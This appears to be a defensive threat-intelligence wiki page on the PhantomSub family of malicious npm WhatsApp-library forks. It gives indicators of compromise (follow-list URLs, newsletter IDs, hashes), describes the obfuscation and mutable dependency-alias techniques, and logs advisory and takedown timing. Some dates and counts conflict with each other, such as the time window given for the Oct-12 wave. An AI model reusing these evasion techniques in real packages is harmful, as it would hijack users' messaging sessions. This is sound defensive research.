  • Remote follow-list source: hxxps://raw[.]githubusercontent[.]com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json (lupy4u); hxxps://raw[.]githubusercontent[.]com/MikuDevReal/V2.0/refs/heads/main/pepek.json (@mikudeveloper/baileys, live-served at Sep 22 check).
  • Operator control repo / site: GitHub LevviCodeID/Levi4than (follow-list JSON); operator site levvicode[.]cloud.
  • Git-dependency carrier (unpinned): github:tenka-san/libsignal-node (HEAD, no SHA), declared by @mr-supun-fernando/supunmd-bail 3.0.3 and @mikudeveloper/baileys 1.0.0; repo content benign at Sep 22 check, mutability is the vulnerability.
  • Newsletter channel identifiers: 120363401404146384@newsletter (@neykoor), 120363426628484388@newsletter (@cikikomo), 120363406881628130 (mamz-baileys / diezyyasha-baileys, shared), 120363432127131142@newsletter + 120363406577875836@newsletter (@mikudeveloper/baileys, from live pepek.json, Sep 22), 120363399205146445@newsletter (ishumdz-bail ≤1.0.10/1.0.11-1.0.16, base64-decoded by this wiki Oct 1), plus the 23-channel idChannel.json set (skyzopedia/Screaper, live Oct 1; first six: 120363406612483008, 120363377604116680, 120363400363337568, 120363424802963633, 120363400066809464, 120363427895970524).
  • Remote follow-list sources (all live Oct 1): raw[.]githubusercontent[.]com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json, …/MikuDevReal/V2.0/refs/heads/main/pepek.json, …/skyzopedia/Screaper/refs/heads/main/idChannel.json (hunt string: "desc": "Lifetime" entry shape).
  • WhatsApp invite code (V3 rail): 0029VbBv6cUInlqLc5H0Kw0K (neuralwhatsapp → channel “Neural”).
  • Family strings: QueryIds.FOLLOW value 7871414976211147; post-cleanup author comment hidden auto-follow block removed (also a mimic tell).
  • Behavioural markers: QueryIds.FOLLOW / QueryIds.MUTE issued on connection.update (open); forwardedNewsletterMessageInfo on outgoing messages; noSelfSync: true at message-send sites; base64 gintoki authorisation gate and sendMessage behind base64.

Defender priorities

  1. Treat Baileys forks as untrusted by default. Baileys is a hot typosquat target because it carries a paired WhatsApp session. Pin known-good baileys / libsignal-node versions and prefer the upstream registry scope over community forks.
  2. Audit what a bot library does with the session. Review lib/Socket/newsletter.js (follow/mute queries on connection.open), lib/Socket/messages-send.js (media sourceUrl / ad-URL injection), lib/Socket/luxu.js (forged forwardedNewsletterMessageInfo / noSelfSync), and lib/Store/prototype-store.js (base64 authorisation gates that send messages and throw Blocked).
  3. Watch for remote-configured behaviour. A follow list pulled from raw.githubusercontent.com that the operator can rotate without a new release is a strong malicious-package signal; alert on fetches to untrusted repos inside a bot runtime.
  4. Check the WhatsApp account itself. Review channel follows/subscriptions on affected accounts for unfamiliar @newsletter channels, especially ones that are muted; check outgoing messages for forged channel attribution and media with unexpected source URLs.
  5. Revoke the paired session / re-authenticate on hosts that ran a confirmed-malicious package, since the session was usable to follow channels and (in the block variant) send messages from the account.
  6. Inventory baileys / libsignal-node dependencies across bot projects, CI, and mirrors; the 4,250-name / 112-name name-spaces are large and most packages are unexamined, absence from SafeDep's confirmed list is not a clearance.

Attribution and limits

  • SafeDep attributes the confirmed set to the listed npm publishers and the Levvi4than / levvicode[.]cloud operator infrastructure but does not assert a broader actor identity or link the campaign to the Baileys upstream maintainer.
  • The confirmed 70+15 package names are a lower bound; registry removals (e.g. @diezyyasha/libsignal-node) pre-empt full source analysis.
  • This is not credential theft and is distinct from the ChainDrop / Mini Shai-Hulud npm worm family and the arrayref Rust supply-chain attack: shared use of the npm registry and developer-host execution does not establish shared code, infrastructure, or operator identity.

October 8 one-hundred-and-fourteenth sweep follow-up: THE ENFORCEMENT WAVE ARRIVES ~8 DAYS LATE AND SCOPE-KEYED, 27 critical malware GHSAs in 22 minutes across six publisher buckets (12:35-13:37Z), every name 0.0.1-security-holdered 1-2 min after its GHSA, and curated PR #1608 files parxleys, a PhantomSub member the machine backfill NEVER saw (published Oct 1, after OX's Sep 28 inventory), LIVE at 520 dl/wk with this wiki's tarball confirming the runtime GitHub follow-list, the fromCharCode rebuild, AND a live mutable-dependency remap to @noxzaid/libsignal-node

(1) THE WAVE. Between 12:35:24Z and 13:37:04Z the GHSA malware lane published 27 critical Malicious code in <name> (npm) records covering the Sep-30 PhantomSub backfill set, bucketed by publisher scope: @nyzzpediaa/baileys-new (13:15:35), cantarella-baileys + albert-anitabaileys (13:17:37), the @itsmee_aizat.id trio (13:21:49-50), the @akapaki/@bottino trio (13:26:06), the @xayz family (@xayz/baileys, @xayz/libsignal-node, @xayz/brat-generator, brat-generator, my-baileys, 13:31:42), and thirteen @bellaxchuu/* names inside THREE SECONDS (13:37:01-04), plus the earlier 12:35Z bucket (@lendxntaa/baileys, @bottino/baileys, kiyoramarkets, @bellaxchuu/belbails). @bottino/baileys appears in TWO buckets ~51 min apart (GHSA-f98g + GHSA-qg7r), unexplained double-file or a re-arm between buckets, open question. This wiki's registry pass ~13:4xZ: every checked name latest = 0.0.1-security, modified 1-2 min post-GHSA; @bellaxchuu/xtrxbails caught mid-pipeline at 0.0.0-stage (staging-stub sighting #14). These are the names this wiki verified LIVE-and-installable on Oct 1 (advisory +6 h) and Oct 2 (backfill tail walking OX's list while names stayed live for up to 46 days), the enforcement-lane answer to the standing advisory ≠ takedown watch for THIS family: it came, ~8 days late, batched by scope. Durable shape: enforcement buckets are scope-keyed exactly the way our sibling rule says detection should be, when npm moved on @bellaxchuu, it moved on all thirteen at once. The MALFEX caveat stays armed: holder ≠ clearance, verify dist-tags.latest per name (all checked here are clean placeholders; xtrxbails still mid-staging at final read).

(2) parxleys, THE FAMILY MEMBER THE ANALYST-LIST BACKFILL MISSED. Curated ossf/malicious-packages PR #1608 (Oct 8 12:55:10Z, reporter jaym2026) files parxleys 1.0.0 + 1.0.1 (published Oct 1 20:00:06Z / Oct 2 12:50:02Z, maintainer parxwoilah, WhatsApp-library costume, 520 dl/wk) as PhantomSub-family. The name published AFTER OX's Sep 28 101-name inventory, so the Sep-30 machine backfill walked past it, zero OSV, zero GHSA at this wiki's check, LIVE. This wiki's verification (static only, nothing executed): tarball parxleys-1.0.1.tgz sha256 ca15841d74670172731929a694aa5d8bb3c6d8c8a12b58f80729c50093b938c6; lib/Socket/newsletter.js:88 runtime-fetches hxxps://raw.githubusercontent.com/noxXza/data/refs/heads/main/noxleys.json (this wiki's read 200: 120363428355171197@newsletter, 120363428984357510@newsletter, 120363425751417260@newsletter, operator swaps targets without re-publishing); lib/Socket/messages-recv.js:45 const qvnr = a => a.map(v => String.fromCharCode(v)).join('') char-code JID/method rebuild, follow+mute firing 30 s after connection open per the PR's static read; package.json:56 remaps the import specifier: "libsignal": "npm:@noxzaid/libsignal-node". @noxzaid/libsignal-node LIVE (latest 1.0.0, maintainer noxza.exe, created Aug 14, tarball sha256 b25f95f97f44f24b75bdc4aebc10307a91adef06e5ae6bd76a529de1e044ca99, reads as genuine libsignal source at this wiki's pull, no network strings found in index.js): the dead-switch class again, today benign, tomorrow a crypto-layer supply pivot under every parxleys installer (the sea-baileys/@otaxayun pattern, second live instance). The preinstall hook is the benign Node-version gate engine-requirements.js (verified), this family hides in code paths, not install scripts. Shared-infra note from the PR body: 120363428355171197@newsletter + the char-code block also sit in cantarella-baileys (MAL-2026-17390), ichigo-baileys, wailib (noxleyss-derived, MAL-2026-17402), the noxXza/noxleyss/parxwoilah cluster is one operator lane inside the family. Hunt rules: (a) named-campaign backfills age out the day they publish, re-inventory a family against the registry, not against the analyst's list; (b) grep any Baileys-clone package.json for npm: alias remaps on libsignal (or any crypto dep), the alias, not the version, is the attack surface; (c) raw.githubusercontent.com JSON fetches inside messaging libs = mutable follow-list IoC, snapshot the served bytes.

October 8 one-hundred-and-sixteenth sweep follow-up: THE ENFORCEMENT WAVE'S OSV MIRROR CLOSES ~2-4 h LATE, twelve fresh sequential IDs (MAL-2026-17669-17680) for the wave names that had NO Sep-30 record, dedupe holds for the names that did, the rule is NAME-HISTORY-keyed, not batch-keyed

The hundred-and-fourteenth's registry pass said the 27-GHSA wave minted zero new OSV IDs; at ~17:2xZ the mirror had arrived with twelve fresh sequential records for the history-less wave names: @itsmee_aizat.id/baileys/baileys2 (17669/17670), @xayz/brat-generator/@xayz/libsignal-node (17671/17672), bottino-baileys (17673), brat-generator (17674), and @bellaxchuu bails/libsignal-node/overbugs/xbailey/xbails/yarnbails (17675-17680), every one ghsa-malware-sourced, born with its GHSA alias. The names that already carried Sep-30 records (@xayz/baileys → 17384, @bellaxchuu/skyblue → 17347, etc.) did NOT get new IDs; their Oct-8 GHSAs now alias into the OLD records (verified by name-keyed v1/query). Durable: mirror-dedupe keys on the name's record history, history-less name = fresh ID, advised name = rewrite-in-place; and the import's published field back-dates to the GHSA time, so import lag is invisible to anyone reading the record instead of the API clock. Full mechanics on the algamil7x one-hundred-and-sixteenth section. parxleys state unchanged at this check: LIVE 1.0.1, still zero OSV + zero GHSA.

October 8 one-hundred-and-seventeenth sweep follow-up: @kxafunc/xbails, THE THIRD MUTABLE-ALIAS DEAD-SWITCH NAME, ADVISORY-FLAGGED FOR THE MANIFEST ITSELF, AND THE FIRST WHOSE ALIAS TARGET IS ALREADY SCOPE-PURGED (MAL-2026-17701 + GHSA-5prw, both Oct 8)

@kxafunc/xbails 0.0.8 (published Oct 7 01:54:05Z after a 0.0.0-stage stub 01:52:02Z) carries package.json alias libsignal: npm:@bellaxchuu/libsignal-node@latest, unpinned, no integrity hash, resolved into lib/Signal/libsignal.js + lib/Utils/crypto.js, the Signal E2E crypto path. This is the third live instance of the mutable-remap class on this page (after sea-baileys/@otaxayun and parxleys/@noxzaid/libsignal-node), and the Amazon Inspector framing is the durable one: the manifest itself constitutes the exposure, independent of the alias target's current contents, an off-registry trust relationship loaded inside E2E encryption. THIS WIKI VERIFICATION: @bellaxchuu/libsignal-node was scope-purged in the Oct-8 13:35:03Z PhantomSub enforcement holder (time block: real 2.0.1 Sep 3, then 0.0.0-stage + 0.0.1-security same day) = the alias resolves to a security holder, install succeeds, the switch is currently INERT; whoever registers @bellaxchuu/libsignal-node after any holder release re-arms every xbails installer with zero touch on xbails. @xayz/libsignal-node sits holder-only too = two purged-crypto-dep aliases now dangling. Name state: LIVE latest = 0.0.8 at the flagged version, no holder event, downloads API has not indexed it (victim pool unmeasurable). The enforcement irony worth recording: the advisory that documents the dead-switch landed while its own alias target sat dead in a holder, advisory ≠ disarm; hunt the manifest grammar (npm:@scope/pkg@latest alias specs on crypto deps), not the target's current bytes. Full ledger: algamil7x one-hundred-and-seventeenth section. parxleys still zero-record LIVE at this check.

October 12 one-hundred-and-tenth sweep follow-up: THE FAMILY GETS THE ZAKASITE TREATMENT AT FLEET SCALE, 35 CONTIGUOUS OSV RECORDS (MAL-2026-17811-17845), 35/35 GHSA-MIRRORED AT BIRTH, EVERY NAME 0.0.1-security-HOLDERED INSIDE A ±2-MINUTE WINDOW OF ITS ADVISORY, ALL 35 NEUTRALIZED IN 74 MINUTES, and four never-re-created registry docs expose the exposure the other 31 time-blocks hide: @xrelly-stack/bails ≈108 DAYS live, the longest family exposure ever measured

Captured: OSV MAL-2026-17811-MAL-2026-17845 (npm), published 15:13:38Z-16:27:03Z, thirty-five CONTIGUOUS records, every one ghsa-malware-sourced, every one carrying its GHSA alias at birth (OSV published == GHSA published_at, same second, 35/35 spot-checked via the GitHub API), every one the standard whole-package >= 0 full-compromise boilerplate. This wiki's registry pass (~16:3x-17:1xZ): all 35 names resolve to dist-tags.latest = 0.0.1-security (maintainer npm/npm-support) with every real-version tarball 404. The advisory→enforcement gap this page has measured shrinking for two months (Oct 2 batch: names installable ~116 h through their advisories; Oct 8 wave: holders 1-2 min post-GHSA) has collapsed to seconds-to-minutes, per name, at fleet scale, the zakasite same-minute grammar run 35 times in 74 minutes.

Sub-batch clocks (identical-second published stamps = scope-inventory ingestion, the Oct-2 mechanic again, now on the GHSA lane): 15:13:38Z ×4 (the @ikanngeming trio blubub/npm/bare ikanngeming + nakkinpm), 15:21:00Z ×2 (the amprem pair), 15:42:18-20Z ×4 (@fazzcodestudio baileys/fbot/mediaformater + @we3js/framework), 15:49:37-38Z ×12 (all eleven @revizahoshii/hoshino-* names inside ONE second + @revizahoshii/hoshino-voip), 15:49:43Z ×2 (@saazkira pair), 15:59:56-58Z ×4 (the wanzlonely quadruple), singletons interleaved. Holder positions bracket the advisory in both directions: ikanngeming doc-holder created 15:12:30Z = 68 s BEFORE its GHSA, @xrelly-stack/bails holder 16:26:42Z = 21 s before, nakkinpm holder 15:14:36Z = 58 s AFTER, the wall is built around the advisory minute, hold-first or hold-after, not a fixed order.

Grammar buckets (~24/35 carry the family's WhatsApp/baileys/libsignal/bails shape; recorded as a same-batch enforcement wave, NOT all-members-confirmed-family, the GHSAs carry zero payload text):

Bucket Names Family linkage Exposure leaked at check
@revizahoshii/hoshino-*, ELEVEN names purged scope-atomic (fake-server, mcp-server, media-utils, native, store-mongo/mysql/postgres/redis/sqlite, voip, wam) 11 hoshino brand = the HOSHINO AI INFORMATION newsletter 120363409928671192@newsletter this page already carries as the sea-baileys ad-rail IoC, scope-name↔newsletter-brand link recorded, identity not proven. hoshino-mcp-server = the MCP-server grammar entering this family doc created Sep 21 19:17Z on store-redis + voip = ≈21 d zero-record life; other nine docs re-created today; dl/wk 3-11 per name
libsignal-node impersonators @mikudeveloper/ (4), @alipclutch/ (418), @saazkira/ (3), @sanzoffc/ (51) + @modss/libsignal (7) THREE returning confirmed scopes: @mikudeveloper (MAL-2026-16386 Sep 22), @alipclutch (the Aug SafeDep set's alipclutch-baileys 8.6.61-8.6.74), @lekzo* via the amprem pair (OX V2's @lekzo/baileys, note the scope variant @lekzo_dev) @alipclutch/libsignal-node 418 dl/wk = biggest returning-scope install base in the wave
bails/bailslonely quadruple @wanzlonely/bailsforme (2), @wanzlonely/bailsme (0), @wanzlonelyy/bailslonely (0), @wanzxlonelyy/bailslonely (0) + bare bailslonely (2) Extra-character account-misspelling grammar (prastzy/prastzyy lineage, this page Oct 2) @wanzlonely/bailsforme doc created Jul 31 = ≈125 d doc age, 1.1.9 still listed (tarball 404)
@xrelly-stack/bails 1 none asserted (boilerplate-only) doc created Jun 26, 23 versions (2.2.6→2.3.20), 1,106 dl/wk, latest rode real versions until holder 21 s pre-GHSA = ≈108 DAYS live, the family's longest measured exposure, beating danz-bails' 46 d
eslint-config pair @badzz88/ (1), @saazkira/ (2) @badzz88 = CONFIRMED returning scope (@badzz88/baileys 1,318 dl/wk at the Oct 1 check), the same account publishing NON-baileys grammar = family accounts diversify packaging, name-shape alone will not find them dl/wk trivial at check
amprem scoped/unscoped pair @lekzo_dev/amprem (17) + bare amprem (112) @lekzo* linkage above scoped+unscoped twin of one name = dependency-confusion grammar INSIDE the WhatsApp-bot family, cross-family grammar pollination
@ikanngeming trio + nakkinpm 4 none asserted @ikanngeming/blubub 1,818 dl/wk = the wave's single largest weekly install count, on a doc RE-CREATED today (exposure predates the visible doc, the download counter is the only surviving exposure evidence); @ikanngeming/npm = brand-name-as-package grammar
@fazzcodestudio trio baileys (11), fbot (20), mediaformater (7) @fazzcodestudio/wa-web was in the Oct 2 fifteen-name backfill batch = returning scope, three more names dl/wk 7-20
@we3js/framework, node-telegram-sockets 2 none asserted node-telegram-sockets = first TELEGRAM-grammar name in this lane, the impersonation grammar spreads from WhatsApp libs to Telegram socket libs

Σ measured last-week downloads across the 35 names ≈ 3,658, dominated by blubub 1,818 + @xrelly-stack/bails 1,106 + @alipclutch/libsignal-node 418, real install bases carried through full neutralization; per the boilerplate's own text, those hosts rotate secrets from another machine.

Durable reads: 1. Exposure archaeology is doc-recreate-aware: re-created docs (31/31 of the rest) reset created to the holder moment and destroy the visible lifetime, the registry time block no longer proves anything about prior exposure; the downloads API counter and any never-re-created sibling docs are what's left. The four un-recreated docs exposed lifetimes of 21-108 days on names the machine lane had never advised. 2. Zombie version lists: @xrelly-stack/bails, @revizahoshii/hoshino-store-redis, @revizahoshii/hoshino-voip, @wanzlonely/bailsforme still ENUMERATE their real versions in versions while every sampled tarball 404s (5/5 pulls: bails-2.3.20, bails-2.2.9, hoshino-store-redis-1.3.0, hoshino-voip-1.1.0, bailsforme-1.1.9). versions ≠ installable, trust the tarball fetch, not the metadata array (the react-paginate-v5 lossy-deletion rule, now on the holder lane). 3. Lane bifurcation, same-day, opposite ends: 35/35 GHSA-at-birth on this family at 15:13-16:27Z while MAL-2026-17809 (minecraftaccfinder, PyPI stealer) sat at aliases None into its ~7th hour at the same check. Enforcement speed is family/registry-keyed, not pipeline-global. 4. Scope-atomic enforcement, third confirmation (after @bellaxchuu ×13 and the Oct-8 buckets): the whole @revizahoshii scope moved in one second. Hunt and clearance are scope-level events; name-level monitoring under-reads both. 5. Monitor: re-registration of the 35 names after any holder release (delete-not-purge, the standing rule); any surviving @ikanngeming/@wanzlonely*/@saazkira/@sanzoffc/@modss/@we3js/@xrelly-stack scope members NOT in this wave (scope scans next sweep); @alipclutch/@mikudeveloper/@badzz88/@fazzcodestudio/@lekzo* returning AGAIN under new names; whether the hoshino-brand↔scope link hardens into payload evidence; node-telegram-sockets copycats.

Stream mechanics + rails: one-hundred-and-tenth stream section.

October 12 one-hundred-and-eleventh sweep follow-up: @yudzxml/baileys, MAL-2026-17846 / GHSA-qh6w-wgpq-j344, A STAGING-STUB RE-ARM ATTEMPT CAUGHT BETWEEN THE WALLS: npm's security holder seized the name +57 s after the 0.0.0-stage publish and 89 s BEFORE its own advisory, the enforcement wall has moved off the advisory minute onto the re-publish minute, and the recreated doc's surviving time block preserves a seventeen-version, five-month fake ladder (7.3.3 May 10 → 7.6.6 Sep 14) with 905 dl/wk the created field lost

Captured: OSV MAL-2026-17846 + GHSA-qh6w-wgpq-j344 (both published 2026-10-12T16:31:25Z, alias-at-birth, critical/CWE-506, boilerplate >= 0, no payload text). This wiki's registry read: the family's wave ended at 16:27:03Z (17845); four minutes later a NEW scope published into the same grammar, @yudzxml/baileys, one of the closest-possible name shapes (scope + bare baileys). Clock from the registry time block: doc created 16:28:58.824Z = the 0.0.0-stage stub (this wiki pulled the 367-B tarball, no execution: README verbatim family staging boilerplate, "Temporary Holding Version … An operational version to replace this has been submitted for review and is awaiting a staged release", the fourth-plus sighting of the dzyclutch/serpacksven/documenclient stub grammar); 0.0.1-security 16:29:55.958Z = +57.1 s; GHSA + OSV 16:31:25Z = +146 s / +89 s after the holder. OSV modified 17:45:05Z.

Why this is a new enforcement state, not another wave member: every one of the 35 wave names was holdered within ±2 min of an advisory that existed at or before seizure, advisory-led. Here the ORDER is re-publish → holder → advisory: npm's security team created the holder before the GHSA was even published, which is only possible for a watcher keyed to publish events on previously-removed malicious names. The created reset (16:28:58Z, 40 minutes after the doc's predecessor was purged in the wave) proves the original @yudzxml/baileys doc was deleted and re-created, meaning this scope's baileys name had lived, been removed, and its operator (or a copycat) attempted the standard staging-stub reservation to re-arm behind the wave. The attempt was crushed inside 57 seconds.

Exposure archaeology, survivor-block edition: the recreated doc still enumerates seventeen phantom versions 7.3.3→7.6.6 dated 2026-05-10→2026-09-14, a five-month ladder imitating the legitimate WhiskeySockets 7.x line, with download counters 905/wk, 3,750/mo. All five sampled 7.x tarballs 404 (zombie version list; the 110th's rule, largest survivor time block yet observed). So: a real five-month install history sits UNDER the wave-day purge, visible only through the survivor time block + counters, the 110th's artifact list (counters + never-recreated docs) gains a third member: survivor time blocks on recreated docs.

Durable reads: (1) for previously-deleted malicious names, the enforcement clock is now RE-PUBLISH-triggered, assume the same for the other 35 wave names + r2-https + orderly-plugin: an immediate holder on any re-registration, hunt re-arm ATTEMPTS (staging stubs, holder gaps) rather than assuming a purge is permanent; (2) the staging-stub reservation grammar tells you the operator cohort budgets for human review-queue latency, and this sweep proves the machine lane no longer gives them that window; (3) name-availability ≠ clearance, the 404-then-republish pattern on a family name is an ATTACKER action, monitor for it (@yudzxml scope-sibling watch open).

Stream mechanics + rails: one-hundred-and-eleventh stream section.

October 13 one-hundred-and-twentieth sweep follow-up: @chatest/baileys, MAL-2026-17850 / GHSA-c2gc-jwcq-w8r3, A FRESH SCOPE RAN THE PHANTOMSUB LADDER FOR ≈40 h AND npm SEIZED IT INSIDE ONE MINUTE: malicious 4.4.0/4.4.1 published Oct 11 14:29/20:26Z (imitating the legit WhiskeySockets 4.4.x line, the same costume grammar as the @yudzxml 7.x ladder), deleted, doc re-created Oct 13 12:15:10Z by the holder machinery, GHSA 12:15:46Z, 0.0.1-security holder 12:15:49Z = +3.5 s, with a MEASURED 404 dl/wk exposure print from the downloads window that closed the day before seizure

Captured: OSV MAL-2026-17850 + GHSA-c2gc-jwcq-w8r3 (both 2026-10-13T12:15:46Z, alias-at-birth, critical/CWE-506, introduced: 0 = whole-history scope). This wiki's registry forensics on the recreated doc:

  • Survivor time block (second ledger instance, after @yudzxml): 4.4.0 2026-10-11T14:29:17.746Z, 4.4.1 2026-10-11T20:26:16.196Z both preserved under the reset created 2026-10-13T12:15:10.587Z, the phantom ladder the created field destroyed is readable from time again. Both malicious tarballs 404 (zombie version list, the 110th's rule re-proves: the fetch is the only installability oracle).
  • The seizure minute: 0.0.0-stage placeholder (maintainer npm, 338 B unpacked) at 12:15:10.587Z → GHSA 12:15:46Z → 0.0.1-security (maintainer npm-support, latest points here) at 12:15:49.468Z = holder +3.48 s AFTER its advisory. Against @yudzxml (holder +57 s AFTER the stage publish, −89 s BEFORE the advisory) the seconds'-ordering differs but the shape is identical: the wall fires on the publish/re-publish minute, not on an advisory clock, publish-event-triggered seizure confirmed on a second independent scope.
  • Exposure print survives: downloads API @chatest/baileys last-week 404 (window Oct 5-11, covering 4.4.0's first day) = ≈404 real installs of the scope while it served, captured BEFORE the recreation erased the doc. @chatest scope search shows NO sibling packages at check; the scope is otherwise unclaimed, single-name squat, not a scope-fleet (contrast @bellaxchuu ×13, @revizahoshii ×7).
  • The gap that remains: the malicious window itself, Oct 11 14:29Z → Oct 13 12:15Z ≈45.8 h, was ZERO-record here: no OSV, no GHSA at any pre-seizure check this wiki ran; enforcement arrived via npm's own abuse lane, not via the advisory lanes (the GHSA/OSV pair was minted AT the seizure second, alias-at-birth, import_time lagging ≈26 min behind, record-readers see published = the GHSA second and miss the OSV-side lag entirely). Durable: for the holdered family scopes, the registry's takedown clock and the advisory clock are one event, consumers keyed on advisories see the seizure moment, never the 46-hour exposure window that preceded it; the time block + downloads counter are the only exposure archaeology left.
  • Watch: @chatest re-publish into the holder (per @yudzxml, crushed in 57 s); whether latest stays on 0.0.1-security through any re-arm; new scopes wearing the <random>-baileys/scope+baileys grammar before their first advisory (name-grammar watch, the campaign-level blind spot SafeDep's 4,250-name pool keeps feeding).

Stream mechanics + rails: one-hundred-and-twentieth stream section.

October 16 one-hundred-and-sixth sweep follow-up: THE SECOND DRAIN LANDS ON THE SEPTEMBER COHORT, SEVEN GHSA MINTS IN TWO ONE-SECOND BATCHES (01:07:51/01:09:28/01:09:29/01:10:07Z) + SEVEN DOCS WIPED-AND-HOLDER-CREATED IN A ≈7-MINUTE 01:06-01:13Z WINDOW, names that sat OSV-only for 7-15 days finally get mirrored AND seized; and TWO names get a GHSA with ZERO OSV = the reverse-mirror class (the bot lane mints records the OSV stream never imported)

The wave. Seven Malware in <name> critical advisories, all >= 0 scope, all CVE-less: GHSA-5ghv-64gv-gv29 @celestial-community/baileys 01:07:51Z; GHSA-23wg-cgvp-f8w7 kiyoramarkets + GHSA-qgh5-36wr-3vvw asistenyorstore 01:09:28Z; GHSA-xgr5-84p3-qqmf @developmentyora/yorakids + GHSA-v8xh-mr86-2fpq @developmentyora/baileyss 01:09:29Z; GHSA-jj55-mvw9-496r bungoma + GHSA-m3qf-j9rf-pqrh xmd-baileys 01:10:07Z. Registry side (this wiki, npm time blocks): every doc RE-CREATED then holder-created, @celestial-community/baileys created 01:06:59.2Z/holder 01:07:34.7Z (+35 s); @developmentyora/yorakids 01:08:23.4Z/01:09:19.5Z (+56 s); asistenyorstore 01:08:07.0Z/01:13:17.4Z (+5 m 10 s, the slow tail); kiyoramarkets 01:08:28.4Z/01:09:24.2Z (+56 s); bungoma 01:09:23.5Z/01:09:59.1Z (+36 s); xmd-baileys 01:09:28.6Z/01:10:24.6Z (+56 s). xmd-baileys and yorakids retain a 0.0.0-stage rung in the recreated doc; all latest now 0.0.1-security. The drain wave is enforcement-complete at check, every one of the seven is neutralized.

Why this wave is different from Oct 12's. The 03:39-04:16Z Oct-12 wave (35 records, this page's preceding section) caught names FRESH under advisory, OSV born, GHSA at birth, holder ±2 min. THIS wave is a backlog drain: its targets carried OSV-only records published Oct 1-9 (17438/17439 Oct 1, 17396 Oct 8, 17389 Oct 9, the four that resolve to OSV all cite the OX PhantomSub post) and sat with zero GHSA and zero holder action for 7-15 days, precisely the "named families keep installing while named" state this page has logged since Sep 30. The standing finding is now CLOSED by enforcement, at a retro-lag measured in WEEKS, not minutes. The Oct-12 ±2-minute clock and this wave's 7-15-day clock are the same machinery at two different batch positions: the ghsa-malware bot's backlog sweep reaches what its birth-mirroring missed.

REVERSE-MIRROR CLASS (headline durability). xmd-baileys and @developmentyora/yorakids read {} on OSV /v1/query (npm ecosystem) at check, they have GHSA critical advisories and seized registry docs and no OSV record at all. The assumed lane order (OSV → GHSA mirror) is not a total order: the GHSA-bot lane can mint terminal records for names the OSV stream never imported. Consequence for consumers: OSV-keyed tooling is structurally blind to reverse-mirrored names forever; GHSA affects= polling is the only complete read. Hunt rule unchanged and strengthened: PhantomSub family membership keys on the payload grammar (w:mex FOLLOW query_id 7871414976211147, the three follow routines), not on either advisory feed's coverage. Monitor: whether an OSV record LATE-ARRIVES for these two (would demote the class from "mint without OSV" to "import-order shuffle").

ALIAS-LANE LIVE EXPERIMENT (resolve first next sweep). The four OSV-born names read aliases: None with modified FROZEN at their original importer ticks (17438/17439: Oct 2 05:30:05Z; 17396: Oct 8 06:00:05Z; 17389: Oct 9 18:30:05Z), ≈25 min after their retroactive mirrors minted. This is the cleanest test of model v3's join trigger the ledger has set up: these are BATCH-OLD OSV records receiving a RETROACTIVE GHSA mint, a configuration never previously observed. If the join lands on the next :00/:30 importer tick → the join is GHSA-creation-event-driven regardless of age, model strengthened with a retro-lag survival. If they stay None past several hourly ticks → retroactive mirror mints never trigger alias join, the join consumer only sees mints near the record's birth, and retro-mirrored records are permanently blind to each other across the two feeds. Either answer is durable.

Cohort-depth question (open). OX counted 101+ family names; the Oct-12 wave covered 35; this wave 7. How much of the family is still live-and-unholdered? Next sweep: enumerate via the OSV PhantomSub family text and diff holder-created vs installable to get the drain-progress fraction. Full sweep context → 106th stream section.

October 16 one-hundred-and-seventh sweep follow-up: THE REVERSE-MIRROR CLASS RESOLVES AS IMPORT LAG, NOT BLINDNESS, the three GHSA-only names (xmd-baileys, @developmentyora/yorakids, asistenyorstore) ARRIVED in the OSV stream MAL-2026-17890-17892 at the 01:45:13Z importer tick, ≈35-40 min behind their GHSAs, published backdated to each GHSA's mint second, aliases AT BIRTH, and the same tick executed the four retroactive ALIAS JOINS (17389→GHSA-jj55, 17396→GHSA-23wg, 17438→GHSA-5ghv, 17439→GHSA-v8xh, all modified 01:45:13.78-.86Z within 100 ms) = model v3 CONFIRMED at week-scale retro-lag; the None read ≈25 min post-mint was tick position

The 106th's structural claim gets its durability corrected, not retracted: a GHSA-only name is not permanently invisible to OSV-keyed consumers, it is invisible for an IMPORT-LAG WINDOW that measured ≈35-40 min here (01:07-01:10Z mirror mints → 01:09-01:10Z backdated published claims → 01:45:13Z import). Hunt rule survives with a clock attached: poll GHSA affects= for fresh family hits and expect the OSV twin within the hour; a 404 at /v1/query on a name with a live GHSA is one re-check, not a finding. DURABLE (model v3 final form): the alias join trigger is the GHSA-creation event and the join TIMING is the next importer batch, retro-mints against batch-old records DO join (7-15 days of OSV-only life didn't prevent it); quote aliases: None only with a ≈1 h grace after any mirror mint. Records as arrived: 17890 @developmentyora/yorakids (alias GHSA-xgr5), 17891 asistenyorstore (GHSA-qgh5), 17892 xmd-baileys (GHSA-m3qf), ghsa-malware source, >= 0 ranges, all advising doc-seized corpses. HIGH-WATER MOVES 17892, RESUME 17893.

October 16 one-hundred-and-twelfth sweep follow-up: @xatancchii/natabaileys + parxleys, MAL-2026-17901/GHSA-cgq9-cff6-pf33 + MAL-2026-17902/GHSA-rg3c-8x72-6pmc, THE MACHINE LANE SEIZES #1608'S OWN SUBJECT ≈8.2 d AFTER THE CURATED QUEUE STOPPED, AND CATCHES A FRESH-SCOPE RE-ARM IN THE ACT: natabaileys doc created 13:01:56Z → GHSA +35 s → npm security-holder +99 s = the yudzxml publish-event-seizure grammar, second instance

parxleys, the npm PhantomSub Baileys-fork this wiki has carried as the sole live report #1608 since Oct 8, was seized WITHOUT its merge: registry doc created 12:55:08Z, wiped-and-holder-created 0.0.1-security 12:57:16Z, GHSA 12:55:55Z, OSV import at the 13:27:21Z ghsa-malware tick with aliases AT BIRTH (>= 0, full-compromise boilerplate). #1608 is #1626-class, MOOT, second instance of the "PR left moot by the machine lane" pattern, and the durable read cuts both ways: curated dwell time never gated enforcement, but the machine lane took 8.2 d to reach a name the human queue knew on day one. @xatancchii/natabaileys is the family's re-arm grammar caught mid-air on a FRESH scope: doc 13:01:56Z, GHSA 13:02:31Z, holder 13:03:35Z, seizure inside ≈100 s of first publish, exactly the @yudzxml Oct-12 clock (+57 s/+89 s) replicated. Both docs serve holder stubs at check (latest 0.0.1-security); re-registration watch open, plus @xatancchii scope-depth enumeration next sweep. Full sweep context → 112th stream section.

